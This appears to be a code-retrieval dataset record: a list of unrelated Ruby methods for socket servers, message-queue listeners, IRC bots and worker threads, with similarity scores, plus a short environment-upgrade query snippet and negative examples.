"def start\n\n @writer = Writer.new.start\n @worker_pool = WorkerPool.new create_listen_socket\n\n sig_init\n master_loop\n shutdown_writer\n\n end",
"def server_start\n begin\n require \"socket\"\n server = TCPServer.new(@host, @port)\n return if server.nil?\n\n puts \"Server started.\\nListening at port: #{@port}\\nLog file: #{@log_file_path}\"\n trap(\"INT\") { stopping() }\n\n # Main sever loop\n loop do\n # Spawn a thread and accept connection\n Thread.new(server.accept) do |conn|\n puts \"Connection #{conn} accepted.\"\n \n write_to_log(\"[#{Time.now.to_s}] \")\n while line = conn.gets\n puts \"Recieved: #{line.chop}\\n\"\n write_to_log(line.chop)\n end\n end\n end\n rescue => exception\n puts \"ERROR: #{exception.inspect}\"\n end\n end",
"def start\n Socket.accept_loop(@tcpserver) do |connection|\n SLogger.debug(\"[server] accepted a new connection (#{connection})\")\n\n self.session.connection = connection\n self.handle_connection(connection)\n end\n rescue IOError\n Thread.exit\n end",
"def run\n start\n queue.subscribe do |msg|\n if fork\n Process.wait\n else\n self.handle(msg)\n exit!\n end\n end\n end",
"def start\n # reset config\n @server_config = Message::ServerConfig.new\n @socket = (@opts.tcp_socket || TCPSocket).new(@host, @port)\n on_connected\n post PASS, @opts.pass if @opts.pass\n post NICK, @opts.nick\n post USER, @opts.user, \"0\", \"*\", @opts.real\n\n buffer = BufferedTokenizer.new(\"\\r\\n\")\n\n while data = @socket.readpartial(4096)\n buffer.extract(data).each do |line|\n l = \"#{line}\\r\\n\"\n begin\n @log.debug \"RECEIVE: #{l.chomp}\"\n m = Message.parse(l)\n next if on_message(m) === true\n name = \"on_#{(COMMANDS[m.command.upcase] || m.command).downcase}\"\n send(name, m) if respond_to?(name)\n rescue Exception => e\n warn e\n warn e.backtrace.join(\"\\r\\t\")\n raise\n rescue Message::InvalidMessage\n @log.error \"MessageParse: \" + l.inspect\n end\n end\n end\n rescue IOError\n ensure\n finish\n end",
"def handler\r\n\t loop do \r\n\t socket = @rqueue.pop\r\n\t req = Request.new socket \r\n\t if req.broadcast == true\r\n\t handle_broadcast req \r\n\t else\r\n\t handle_listen req\r\n\t end\r\n\t \r\n\t end\r\n \tend",
"def start\n @quit = nil\n @socket = self.connect()\n self.on_message(/^PING/) { |event|\n self.send_raw_line(\"PING \"+event[:matchdata].post_match)\n }\n self.on_server_message(353) { |event|\n }\n self.on_server_message(376) do |event|\n if @password and !@authenticated then\n self.message 'NickServ', \"IDENTIFY #{@password}\"\n @authenticated = true\n end\n @channels.each { |channel|\n if channel.kind_of? Hash then\n self.send_raw_line(\"JOIN \"+channel.keys.first+\" \"+channel.values.first)\n else\n self.send_raw_line(\"JOIN \"+channel)\n end\n }\n end\n \n self.send_raw_line(\"USER \"+@nickname+\" \"+@nickname+\" \"+@nickname+\" \"+@nickname)\n self.send_raw_line(\"NICK \"+@nickname)\n begin\n while line = @socket.gets\n handle_raw_line(line) \n end\n rescue IOError => ioe\n raise ioe unless @quit\n end\n end",
"def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@fileServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n puts 'Thread pool full wait 5'\n sleep 5 \n client.close\n end\n end\n end",
"def start\n queue = channel.queue(\"\", :exclusive => true, :auto_delete => true)\n queue.bind(exchange_in, :routing_key => consumer.routing_key)\n queue.subscribe(&method(:handle_message))\n logger.info \"Bind queue with routing key '#{consumer.routing_key}' to exchange '#{exchange_in.name}', waiting for messages...\"\n end",
"def listen\n Thread.new do\n while true\n retrieve_messages\n sleep (0.1)\n end\n end\n end",
"def run_server_thread; end",
"def listen\n @queue.subscribe(block: true) do |delivery_info, properties, body|\n puts(body)\n end\n end",
"def start\n return if running?\n @running = true\n @thread = Thread.new {@server.start}\n end",
"def run\n\t \tbegin \n\t \twrite_command_status(@cmd_queue_0)\n\t \t\n\t \t@log.info \"Processing command queue...\"\n\t \tloop do\n\t \t\tbegin\n\t \t\t\tstr = listen\n\t \t\trescue EOFError\n\t \t\t\t@log.error \"No more messages from pump\"\n\t \t\t\tbreak\n\t \t\tend\n\n\t \t\trep = parse_response(str)\n\n\t \t\t# Look at command response and wait or proceed on queue\n\n\t \t\t# Is it a status message\n\t \t\t# Yes\n\t \t\tif rep[:status]\n\t\t\t\tif process_status(rep)\n\t\t\t\t break\n\t\t\t\tend\n\t \t\t# No\n\t \t\telsif !rep[:status]\n\t \t\t\tprocess_command(rep)\n\t \t\telse\n\t \t\t\t@log.error \"Unknown message type\"\n\t \t\tend\n\t \tend\n\t \t@log.info \"...command queue complete\"\n\n\t \trescue IRB::Abort\n\t \t\t@log.error \"Abort\"\n\t\t\tsleep(0.25)\n\t\t\twrite_stop\n\t\t\t#flush comms?\n\t \trescue Interrupt\n\t \t\t@log.info \"Interupt\"\n\t \t\t#write_stop\n\t \tensure \n\t \t\t@log.info \"Closing\"\n\t\t\t#write_stop\n\t \tend\n\n\t end",
"def run\n while true; async.handle_message @socket.read; end\n end",
"def start\n @publisher = Thread.new do\n while true\n puts \"Command? \"; #thread publishing commands\n publish $stdin.gets\n end\n end\n @reader = Thread.new { subscribe &Proc.new { |message| callback message } } #thread waiting for messages\n\n @publisher.join\n end",
"def listening\n @start = Time.now\n #RubyProf.measure_mode = RubyProf::PROCESS_TIME #<= Measuring process time\n #RubyProf.start #<= Measuring performance of the socket\n @res = Thread.new do\n count = 0\n while (message = @server.readline)\n count += 1\n puts \"Server: #{message}\"\n puts \"Amount Of Responses #{count}\"\n end\n end\n end",
"def serve\n Lamp.logger.info 'Starting Lamp service ...'\n @thread = Thread.new { @server.serve }\n sleep SPIN while @thread.alive? and not socket.handle\n @port = socket.handle.addr[1] and Lamp.logger.info status if @thread.alive?\n @thread\n end",
"def start\n @logger.debug { \"Opening server\" }\n @tcp_server = TCPServer.new(@ip, @port)\n @logger.debug { \"Listening to #{@ip} port #{@port}\n pointing #{ROOT_DIR}\" }\n\n answer_worker = AnswerWorker.new\n client = nil\n loop do\n begin\n client = @tcp_server.accept\n @logger.debug { \"Server accepted new request\" }\n answer_worker.start(client)\n rescue Interrupt => e\n @logger.debug { \"Closing program\" }\n exit\n rescue Exception => e\n @logger.debug { \"Exception caught:\" }\n @logger.debug { e }\n end\n end\n stop\n end",
"def run\n loop do\n memcached = Memcached.new # each client has its oun cache storage\n new_client = @tcp_Server.accept # when a new client connects to the server\n client_handler_id = rand(999999).to_s\n client_handler = ClientHandler.new(id: client_handler_id, clientSocket: new_client, memcached: memcached)\n @@clients << client_handler\n\n Thread.start(client_handler) do |handler| # open a new thread for each accepted connection\n # Here we inform the client of the connections. It's human made, so can be removed if not needed\n puts \"New connection established! Now #{@@clients.length()} clients :>\"\n puts \"WAITING FOR REQUESTS\"\n handler.send(\"Server: Connection established with Client Handler ID: #{client_handler_id}\")\n handler.send(\"Server: You are the client ##{@@clients.length()}\")\n handler.send(\"Server: You may introduce commands now\")\n listen_requests(handler) # allow communication\n end\n end.join\n end",
"def start_queue_processing\n return unless @queue_thread.nil?\n\n stop_overflow_watcher\n\n @queue_thread = Thread.new {\n info 'started processing'\n loop do\n begin\n item = @queue.pop\n client.send_message(MessagePack.dump(item).bytes)\n sleep 0.001\n rescue => exc\n logger.error exc.message\n end\n end\n }\n end",
"def start_server\n @signature = EM.start_server(@host, @port, @handler) do |connection|\n setup_connection_opts(connection)\n end\n log(:info, \"Started listener #{@signature} on tcp://#{@host}:#{@port} (separator=#{@separator.inspect}).\")\n super\n end",
"def main_loop\n Thread.start(@protocol.accept) do |client|\n @grp.add Thread.current\n Thread.current['DRb'] = { 'client' => client ,\n 'server' => self }\n DRb.mutex.synchronize do\n client_uri = client.uri\n @exported_uri << client_uri unless @exported_uri.include?(client_uri)\n end\n loop do\n begin\n succ = false\n invoke_method = InvokeMethod.new(self, client)\n succ, result = invoke_method.perform\n if !succ && verbose\n p result\n result.backtrace.each do |x|\n puts x\n end\n end\n client.send_reply(succ, result) rescue nil\n ensure\n client.close unless succ\n if Thread.current['DRb']['stop_service']\n Thread.new { stop_service }\n end\n break unless succ\n end\n end\n end\n end",
"def listen\n Thread.new { EventMachine.run } unless EventMachine.reactor_running?\n jack.each_job(2) do |job|\n job = Job.new(job.conn, job.jobid, job.body)\n EventMachine.defer proc { process(job) }, proc {|res| raise(res) if res.kind_of?(Exception) }\n end\n end",
"def start\n stop\n @running = true\n @threads << broadcast_worker_loop\n @threads << read_worker_loop\n end",
"def listen\n\n puts('listening')\n while true\n begin\n received_data = p @socket.recv(1000) # Receive\n Thread.new do # Start a new thread to handle the incoming message\n respond(JSON.parse(received_data)) # Determine how to respond to received and parsed message\n end\n rescue Errno::ECONNRESET # If there was an issue in replaying in respond function - e.g. remote host no longer up\n puts('Connection to remote host failed')\n end\n end\n end",
"def run\n\t\t# Empezamos a escuchar al servidor\n\t\tlisten\n\t\t# Empezamos a enviar al servidor\n\t\tsend\n\t\t# Revisamos el estado de la conexion\n\t\t# check_alvie\n\t\t# Al terminar cerramos los Threads\n\t\t@request.join if @request.alive?\n\t\t@response.join if @response.alive?\n\tend",
"def start\n self.load_plugins()\n @running = true\n \n while @running\n @servers.each do |server|\n unless server.is_connected\n if server.reconnect_delay_passed? && server.connect\n server.write(\"PASS #{@password}\") if @password\n server.write(\"NICK #{@nick}\")\n server.write(\"USER #{@username} hostname servername :#{@username}\")\n end\n end\n\n autoping()\n check_timer_plugins()\n \n @current_server = self.select()\n\n if @current_server\n msg = @current_server.read\n \n if msg != nil\n autojoin_on_recognize(server, msg)\n process_message(msg)\n end\n end\n end \n end\n end",
"def server\n\t@endpoint.bind do |server|\n\t\tputs \"Receiving...\"\n\t\tpacket, address = server.recvfrom(512)\n\t\t\n\t\tputs \"Received: #{packet} from #{address}\"\n\tend\nend",
"def run\n connect = false\n until connect do\n begin\n call { |server| @server = server ; start }\n rescue\n Waves::Logger.error e.to_s\n sleep 1\n end\n connect = true\n end\n end",
"def process_queue\n puts \"Waiting for new messages\"\n th = Thread.new do\n Thread.current.abort_on_exception = true\n loop do\n # This will sit around and wait forever.\n key, raw_msg = @redis_client.blpop(@redis_in_key, 0)\n json_msg = Crack::JSON.parse(raw_msg)\n # Send back a random quote\n random_quote = @quotes[rand(@quotes.size)]\n out_msg = {:from => json_msg['from'], :body => random_quote}.to_json\n # Pusing onto the \"out\" list queues up something for the listener to process\n @redis_client.lpush(@redis_out_key, out_msg)\n end\n end \n end",
"def listen()\n loop { \n Thread.start(@server.accept) do |client|\n client.puts(Time.now.ctime) \n while line = client.recv(200)\n purge()\n puts line\n interprete(client,line)\n end\n end\n }\n end",
"def listen\n connect do\n routes.each do |route|\n @client.subscribe(route) do |args|\n run(route, args)\n end\n end\n \n loop do\n sleep 1\n end\n end\n end",
"def start\n @running = true\n @thread = Thread.new do\n while running?\n process @queues.incoming.pop(false)\n end\n end\n self\n end",
"def run()\n loop do\n s = @sock.gets\n break if s.nil?\n @mutex.synchronize { handle_server_input(s) }\n end\n end",
"def start_listen\n @thr_listen = Thread.new do\n begin\n @io_in.each_line do |line|\n raise \"No line?\" if !line || line.to_s.strip.empty?\n alive_check!\n debug \"Received: #{line}\" if @debug\n\n begin\n obj = Marshal.load(Base64.strict_decode64(line.strip))\n debug \"Object received: #{obj}\\n\" if @debug\n rescue => e\n $stderr.puts \"Base64Str: #{line}\" if @debug\n $stderr.puts e.inspect if @debug\n $stderr.puts e.backtrace if @debug\n\n raise e\n end\n\n id = obj[:id]\n obj_type = obj[:type]\n\n if obj_type == :send\n Thread.new do\n #Hack to be able to do callbacks from same thread when using blocks. This should properly be cleaned a bit up in the future.\n obj[:obj][:send_id] = id\n\n begin\n raise \"Object was not a hash.\" unless obj.is_a?(Hash)\n raise \"No ID was given?\" unless id\n res = self.__send__(\"cmd_#{obj.fetch(:obj).fetch(:cmd)}\", obj.fetch(:obj))\n rescue Exception => e\n raise e if e.is_a?(SystemExit) || e.is_a?(Interrupt)\n res = {type: :error, class: e.class.name, msg: e.message, bt: e.backtrace}\n end\n\n data = Base64.strict_encode64(Marshal.dump(type: :answer, id: id, answer: res))\n @io_out.puts(data)\n end\n elsif obj_type == :answer\n if answer_queue = @answers[id]\n debug \"Answer #{id} saved.\\n\" if @debug\n answer_queue << obj.fetch(:answer)\n elsif @debug\n debug \"No answer-queue could be found for ID #{id}.\"\n end\n else\n raise \"Unknown object: '#{obj}'.\"\n end\n end\n rescue => e\n if @debug\n debug \"Error while listening: #{e.inspect}\"\n debug \"#{e.backtrace.join(\"\\n\")}\\n\"\n end\n\n @listen_err = e\n end\n end\n end",
"def run\n AMQP.start(:host => '127.0.0.1') do\n MQ.new.queue('encoder_listener').bind(MQ.new.fanout(RemoteRecorder::FANOUT_EXCHANGE)).subscribe do |json|\n # check if the message is a recording finished message\n DaemonKit.logger.debug(\"Got message: #{json}\")\n message = JSON.parse(json)\n if message[\"message\"] == \"recording_finished\"\n DaemonKit.logger.debug(\"Got recording finish message: #{message}\")\n # add the encoding job to the queue\n @queue.unshift({\n :id => message[\"doc_id\"],\n :files => message[\"files\"]\n })\n process_queue\n end\n end\n EM.add_periodic_timer(1.0) do\n watch\n process_queue\n end\n # periodically check whether we for some reason missed a video\n # which is sitting unencoded somewhere\n EM.add_periodic_timer(15) do\n @db.get(\"_design/video_encoder\").view(\"unencoded\")['rows'].each{|v|\n unless @queue.collect{|x| x[:id]}.include? v[\"value\"][\"_id\"]\n @queue.unshift({\n :id => v[\"value\"][\"_id\"],\n :files => v[\"value\"][\"files\"]\n })\n end\n }\n end\n end\n end",
"def start\n\t\t@server_thread = Thread.new do\n\t\t\tbegin\n\t\t\tserver = TCPServer.open(23)\n\t\t\tloop {\n\t\t\t\tbegin\n\t\t\t\t\tclient = TelnetClient.new(server.accept)\n\t\t\t\t\t@client_list << client\n\t \t\t\t\tt = Thread.new do\n\t \t\t\t\t\thandleNewClient(client) \n\t \t\t\t\tend\n\t \t\t\trescue Exception => e \n\t\t\t\t\tputs \"Client Error: #{e.message}\"\n\t\t\t\t\tputs e.inspect\n\t\t\t\t\tputs e.backtrace\n\t\t\t\tend\n\t\t\t}\n\t\t\trescue Interrupt => e\n\t\t\t\tputs \"Server is interrupted\"\n\t\t\tensure\n\t\t\t\tclose_all()\n\t\t\t\tserver.close\n\t\t\tend\n\t\tend\n\t\t@server_thread.abort_on_exception = true\n\tend",
"def listen\n @messages.clear\n # stop if socket is not ready\n begin\n return if !self.ready?\n # get 0xFFFF bytes from a received message\n buffer = self.recv(0xFFFF)\n # split by \\n without suppressing trailing empty strings\n buffer = buffer.split(\"\\n\", -1)\n # if chunk from previous incomplete message exists\n if @previous_chunk != nil\n # complete chunk with first new message\n buffer[0] = @previous_chunk + buffer[0]\n # delete chunk buffer\n @previous_chunk = nil\n end\n # remove last message in buffer\n last_chunk = buffer.pop\n # incomplete message if it exists (meaning last message has no \\n)\n @previous_chunk = last_chunk if last_chunk != ''\n # check each message in the buffer\n buffer.each {|message|\n interpret_message(message)\n }\n rescue\n msgbox_p \"Server closed!\"\n self.close\n $close_socket = true\n end\n \n end",
"def receive_data(data)\n log_debug '[server] receive_data: %s' % data\n @buffer << data\n handle_client if @buffer.flushed?\n end",
"def run!\n start_server!\n @server_thread = Thread.new do\n loop do\n Thread.start(@server.accept) do |socket|\n begin\n handle_request(socket)\n rescue => e\n @logger.error \"#{e.class}: #{e.message}\"\n @logger.debug e.backtrace\n ensure\n closing_client = @client_mutex.synchronize do\n @clients.delete(socket)\n end\n # invoke callbacks for disconnect if there is a client to\n # disconnect\n emit(:client_disconnect, closing_client) if closing_client\n socket.close\n end\n end\n end\n end\n end",
"def start\r\n\t\t\tswdebug 'Started new thread for message processing.'\r\n\t\t\t# Start a new child Thread\r\n\t\t\t@thread = Thread.new {\r\n\t\t\t\tloop do\r\n\t\t\t\t\titems = process\r\n\t\t\t\t\tif items == 0\r\n\t\t\t\t\t\tsleep(0.1)\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\tswdebug \"Processing #{items} items\"\r\n\t\t\t\t\tend\r\n\t\t\t\tend\r\n\t\t\t}\t\t\t\t\r\n\t\tend",
"def start\n @session = Connection.create_consumer_session\n @consumer = @session.consumer(@real_destination_options)\n @session.start\n\n ModernTimes.logger.debug \"#{self}: Starting receive loop\"\n @status = nil\n while !@stopped && msg = @consumer.receive\n @time_track.perform do\n @message_mutex.synchronize do\n on_message(msg)\n msg.acknowledge\n end\n end\n ModernTimes.logger.info {\"#{self}::on_message (#{('%.1f' % (@time_track.last_time*1000.0))}ms)\"} if ModernTimes::JMS::Connection.log_times?\n ModernTimes.logger.flush if ModernTimes.logger.respond_to?(:flush)\n end\n @status = 'Exited'\n ModernTimes.logger.info \"#{self}: Exiting\"\n rescue Exception => e\n @status = \"Exited with exception #{e.message}\"\n ModernTimes.logger.error \"#{self}: Exception, thread terminating: #{e.message}\\n\\t#{e.backtrace.join(\"\\n\\t\")}\"\n ensure\n ModernTimes.logger.flush if ModernTimes.logger.respond_to?(:flush)\n end",
"def run_queue(url='druby://127.0.0.1:61676')\n queue = Queue.new # Containing the jobs to be processed\n \n #Start up DRb with URI and object to share:\n DRb.start_service(url, queue)\n puts \"Listening for connection...\"\n while job = queue.deq\n yield job\n end\nend",
"def start_loop\n unless @playing || @queue.first.nil?\n @playing = true\n loop do\n LOGGER.debug \"Started music loop for server #{@id}\"\n if @queue.empty?\n respond('I have no songs, give me a fat beat with `add`!')\n break\n end\n song = @queue.first\n play_song(song) if song.ready || wait_for_song(song)\n end\n @playing = false\n end\n end",
"def start!\n update_proc_title(:starting)\n\n server_thread = Thread.new do\n logger.info { \"[gruf] Starting gruf server at #{@hostname}...\" }\n server.run_till_terminated_or_interrupted(KILL_SIGNALS)\n end\n @started = true\n update_proc_title(:serving)\n server_thread.join\n @started = false\n\n update_proc_title(:stopped)\n logger.info { '[gruf] Goodbye!' }\n end",
"def listen\n amqp_listen do |msg|\n do_handle(msg)\n end\n end",
"def receive_data(data)\n log_debug { '[server] receive_data: %s' % data }\n\n @request_buffer << data\n @request_data = @request_buffer.data\n @stats.request_size = @request_buffer.size\n\n handle_client if @request_buffer.flushed?\n end",
"def start\n @thread = Thread.new do\n # pop a request\n while (job = @queue.pop) do\n if job.exist?\n # process the request\n result_type = process(job)\n archive_result(job, result_type)\n\n # push status message\n update_status(job.id, name: \"COMPLETED\")\n end\n\n # remove the request\n @jobs.delete(job.id)\n end\n end\n end",
"def begin!\n start_server\n end",
"def run_queue(url='druby://127.0.0.1:61676')\n queue = Queue.new # Containing the jobs to be processed\n\n # Start up DRb with URI and object to share\n DRb.start_service(url, queue)\n puts 'Listening for connection...'\n while job = queue.deq\n yield job\n end\nend",
"def run\n @active_connections = 0\n @mutex = Mutex.new\n\n logger.info \"Starting server on #{server_configuration.bind}\"\n\n # Set up each listener and add it to an array ready for the event loop\n @active_descriptors = []\n @active_descriptors << establish_socket_server\n @active_descriptors << establish_file_descriptor_server\n @active_descriptors << setup_signal_traps\n\n write_pidfile\n\n # Enter the main loop\n select_loop\n end",
"def listener()\n puts \"listener() thread starting.\" if $verbose\n stuff=''\n while(not($all_done))\n $serial_port.synchronize do\n stuff=stuff+$serialport.read(999)\n end\n (thing,stuff)=stuff.split(';',2)\n if(not(stuff))\n stuff=''\n end\n if(thing) \n $queue.synchronize do\n thing=thing+';'\n puts \"Adding to queue: #{thing}\" if $verbose\n $rx_messages.push(thing)\n end\n end\n sleep(0.1)\n end\n puts \"listener() thread exiting.\" if $verbose\nend",
"def run\n @security = Communication::Security.new_client\n\n @subscribe_socket = Communication::SubscribeSocket.new_link(\n Pantry.config.server_host,\n Pantry.config.pub_sub_port,\n @security\n )\n @subscribe_socket.add_listener(self)\n @subscribe_socket.filter_on(@listener.filter)\n @subscribe_socket.open\n\n @send_socket = Communication::SendSocket.new_link(\n Pantry.config.server_host,\n Pantry.config.receive_port,\n @security\n )\n @send_socket.open\n\n @file_service = Communication::FileService.new_link(\n Pantry.config.server_host,\n Pantry.config.file_service_port,\n @security\n )\n @file_service.start_client\n end",
"def serve\n @serverTransport.listen()\n\n begin\n while (true)\n @thread_q.push(:token)\n Thread.new do\n begin\n while (true)\n client = @serverTransport.accept()\n trans = @transportFactory.getTransport(client)\n prot = @protocolFactory.getProtocol(trans)\n begin\n while (true)\n @processor.process(prot, prot)\n end\n rescue TTransportException, TProtocolException => e\n ensure\n trans.close()\n end\n end\n rescue Exception => e\n @exception_q.push(e)\n ensure\n @thread_q.pop() # thread died!\n end\n end\n end\n ensure\n @serverTransport.close()\n end\n end",
"def start_listener!\n memoize(\"#{args[:bind]}-#{args[:port]}\", :global) do\n build_listener do |req|\n begin\n msg = build_message(req)\n # Start with static path lookup since it's the\n # cheapest, then fallback to iterative globbing\n msg_queue = nil\n unless(msg_queue = message_queues[\"#{req.path}-#{req.method.to_s.downcase}\"])\n message_queues.each do |k,v|\n path_glob, http_method = k.split('-')\n if(req.method.to_s.downcase == http_method && File.fnmatch(path_glob, req.path))\n msg_queue = v\n end\n end\n end\n if(msg_queue)\n if(authorized?(msg))\n msg_queue[:queue] << msg\n if(msg_queue[:config][:auto_respond])\n code = msg_queue[:config].fetch(:response, :code, 'ok').to_sym\n response = msg_queue[:config].fetch(:response, :message, 'So long and thanks for all the fish!')\n req.respond(code, response)\n end\n else\n req.respond(:unauthorized, 'You are not authorized to perform requested action!')\n end\n else\n req.respond(:not_found, 'Requested path not found!')\n end\n rescue Zoidberg::DeadException\n raise\n rescue => e\n req.respond(:bad_request, \"Failed to process request -> #{e}\")\n puts \"#{e}\\n#{e.backtrace.join(\"\\n\")}\"\n end\n end\n end\n end",
"def run\n # Start the message handler\n @message_handler.start\n\n @worker_list.each { |t| t.join }\n end",
"def start\n # Don't send asynchronously\n if Deimos.config.producers.backend == :kafka_async\n Deimos.config.producers.backend = :kafka\n end\n Deimos.config.logger.info('Starting...')\n @signal_to_stop = false\n retrieve_poll_info\n loop do\n if @signal_to_stop\n Deimos.config.logger.info('Shutting down')\n break\n end\n process_updates\n sleep 0.1\n end\n end",
"def start\n @client.ping\n @state.set :run\n @thread ||= Thread.new{ work_loop }\n end",
"def start\n @provider_queue = AMQP::Channel.new(@connection, :auto_recovery => true).fanout(@room)\n @channel = AMQP::Channel.new(@connection, :auto_recovery => true)\n @channel.on_error(&method(:handle_channel_exception))\n @queue = @channel.queue(\"\", :auto_delete => true).bind(@room)\n @queue.subscribe(&method(:handle_message))\n end",
"def listen\r\n end",
"def run\n loop do\n #Kernel.exit\n if @workQ.size < (@pool_size-1)\n Thread.start(@replicaServer.accept) do | client |\n @workQ.push 1\n message_handler(client)\n @workQ.pop(true)\n end\n else\n # if thread pool is full\n sleep 5 \n client.close\n end\n end\n end",
"def start\n unless @running\n @connections.each { |conn| conn.start(@start_bytes) }\n @running = true\n end\n end",
"def start_server\t\n\t\tloop{\n\t\t\tThread.new(@server.accept) do |client|\n\t\t\t\t\t\t\n\t\t\t\t#connection and request\n\t\t\t\tsock_domain, remote_port, remote_hostname, remote_ip = client.peeraddr\n\t\t\t\tclient_ip = remote_ip.to_s\t\n\t\t\t\t@@static_id += 1\n\t\t\t\t@connection_no = @@static_id \t\t\t\t\n\t\t\t\tputs \"\\nConnection ##{@connection_no} client #{client_ip} accepted\"\t\n\t\t\t\t\n\t\t\t\t#send client secret key \n\t\t\t\tclient.puts @key\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t#receive data from client\n\t\t\t\tdata = client.gets.chomp\n\t\t\t\tputs \"received encoded: #{data}\"\n\t\t\t\t\n\t\t\t\tdecdata = Base64.decode64(data)\n\t\t\t\tputs \"decoded message #{decdata}\"\n\t\t\t\t\t\n\t\t\t\t#encrypts message with secret key and newly generated\n\t\t\t\t#initialization vector. \n\t\t\t\tiv = @aes_cipher.random_iv\t\n\t\t\t\t@aes_cipher.iv = iv\n\t\t\t\tputs \"generated IV: #{iv}\"\n\t\t\t\tencrypted = @aes_cipher.update(decdata)\n\t\t\t\tencrypted << @aes_cipher.final\t\n\t\t\t\tputs \"Encrypted Msg: #{encrypted}\"\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t#send back IV and encrypted data\n\t\t\t\tenc_encrypted = Base64.encode64(encrypted)\n\t\t\t\tclient.puts enc_encrypted\n\t\t\t\tclient.puts iv\t\t\t\t\n\t\t\t\t\n\t\t\t\t#close connections\n\t\t\t\tclient.close\t\t\n\t\t\t\t\n\t\t\tend\n\t\t}\n\tend",
"def start\n executor.post {read_loop}\n start_protocols\n super\n end",
"def start\n @tuple_space_server_receiver.start\n @updater.start\n end",
"def serving_loop\n Thread.new { socket_loop }\n @manager.management_loop\n end",
"def start\n connect\n @last_alive = Time.now\n @listener = Thread.new do\n while true\n begin\n @last_alive = Time.now if @hub.fetch_command\n\n if Time.now > @last_alive + @keepalive_timeout\n @logger.error \"connection lost\" if @logger\n @last_alive = Time.now\n reconnect\n end\n\n rescue Exception => e\n exit if e.class == Interrupt\n puts e.message\n puts e.backtrace.join(\"\\n\")\n break\n end\n end\n end\n end"
] |
[
"0.7599562",
"0.73800045",
"0.7235019",
"0.72137785",
"0.71722174",
"0.7051511",
"0.7006254",
"0.69239086",
"0.6809442",
"0.6805284",
"0.6781217",
"0.6776131",
"0.67333055",
"0.67168164",
"0.6701319",
"0.6700658",
"0.6697984",
"0.668121",
"0.668121",
"0.66726387",
"0.66317666",
"0.6631577",
"0.6624583",
"0.66143864",
"0.6608052",
"0.6588288",
"0.6584594",
"0.65716714",
"0.65671504",
"0.6562145",
"0.65508896",
"0.6550541",
"0.6540028",
"0.6538499",
"0.65313673",
"0.6526844",
"0.6504044",
"0.6502412",
"0.64851254",
"0.6476397",
"0.6474387",
"0.6471643",
"0.64628744",
"0.64499545",
"0.6447747",
"0.6442374",
"0.6442032",
"0.6437097",
"0.6423479",
"0.64168966",
"0.64124614",
"0.6406923",
"0.63820153",
"0.6381912",
"0.638189",
"0.63798475",
"0.6370553",
"0.63690436",
"0.63401467",
"0.6335884",
"0.63335437",
"0.63140285",
"0.6305702",
"0.63035107",
"0.629934",
"0.6298932",
"0.6297601",
"0.6296444",
"0.62925136",
"0.62763727",
"0.6275603",
"0.62728363",
"0.6262395",
"0.624803",
"0.6246056",
"0.62402856",
"0.6235089",
"0.623324",
"0.62284863",
"0.62249154",
"0.6217314",
"0.6215908",
"0.6215028",
"0.62094325",
"0.62092143",
"0.6183546",
"0.618284",
"0.61825454",
"0.61815137",
"0.61726105",
"0.616364",
"0.6160525",
"0.6158431",
"0.6157477",
"0.61543214",
"0.6152939",
"0.61527574",
"0.6150874",
"0.61182183",
"0.611765"
] |
0.7187638
|
4
|
Asynchronously upgrade an environment
|
def async_upgrade(environment, plugin, options = {})
job = Job.new(:upgrade)
async(:upgrade, job, environment, plugin, options)
job.ticket
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def upgrade\n project.run \"apk upgrade\"\n end",
"def sync_gem_environments\n resync = []\n environments.each do |name|\n env = environment(name)\n if env.has_gems? \n resync << name\n env.sync\n env.save\n end\n end\n resync\n end",
"def action_upgrade\n notifying_block do\n install_scl_repo\n flush_yum_cache\n install_scl_package(:upgrade)\n install_scl_devel_package(:upgrade) if new_resource.dev_package\n end\n end",
"def em_async_schedule\n o = self.class.environment\n self.class.set :environment, :normal\n async_schedule { yield }\n ensure\n self.class.set :environment, o\n end",
"def upgrade\n if targets.any?\n resolve_dependencies!\n fetch_results!\n end\n\n Upgrades.add_to(self)\n\n run!\n end",
"def update\n Puppet.debug \"Attempting to upgrade #{@resource[:name]}\"\n install unless mas_app\n mas('upgrade')\n end",
"def upgrade(version)\n \n end",
"def update_environment &block\n\n # get environment data from request body\n # if data could not be parsed, return with error\n\n parsed_environment = parse_body\n\n unless parsed_environment\n block.call( { :status => 400 } )\n return\n end\n\n @environment.merge!( parsed_environment )\n\n puts \"environment update for client #{uuid}: #{environment.inspect}\"\n\n # pass request to grouper\n \n em_put( \"/clients/#{uuid}/environment\", @environment.to_json ) do |response|\n block.call( response )\n begin\n content = JSON.parse( response[:content] )\n rescue\n content = { \"group\" => [] }\n end\n\n # for all clients in the same group (as returned by the grouper): update group info (if client is peeking)\n\n ids = content[\"group\"].map { |info| info[\"client_uuid\"] }\n\n puts \"updated clients after environment update for client #{uuid}: #{ids.inspect}\"\n\n Client.find_all_by_uuids( ids ).each do |client|\n group = Group.new(content['group'])\n client.update_grouped( group ) if client\n end\n end\n end",
"def action_update\n install_bundler\n run_bundler('update')\n set_state\n end",
"def action_upgrade\n run_package_action(:upgrade)\n end",
"def sync(name=nil)\n env = env(name)\n env.sync\n env.save\n end",
"def upgrade(autoinst, iso_url)\n prepare\n setup_iso(iso_url)\n setup_autoinst(autoinst)\n setup_definition(:upgrade)\n change_boot_order\n backup_image\n build(autoinst)\n # During upgrade, Veewee will fail because SSH is disabled by PAM during\n # booting. So Veewee will get a \"Authentication Failure\" and it will give\n # up. At this time, we'll wait some time so installation process can finish\n # properly. We should find a cleaner solution.\n log.info \"Waiting #{SLEEP_TIME_AFTER_UPGRADE} seconds for upgrade process to finish\"\n sleep SLEEP_TIME_AFTER_UPGRADE\n run_postinstall\n true\n end",
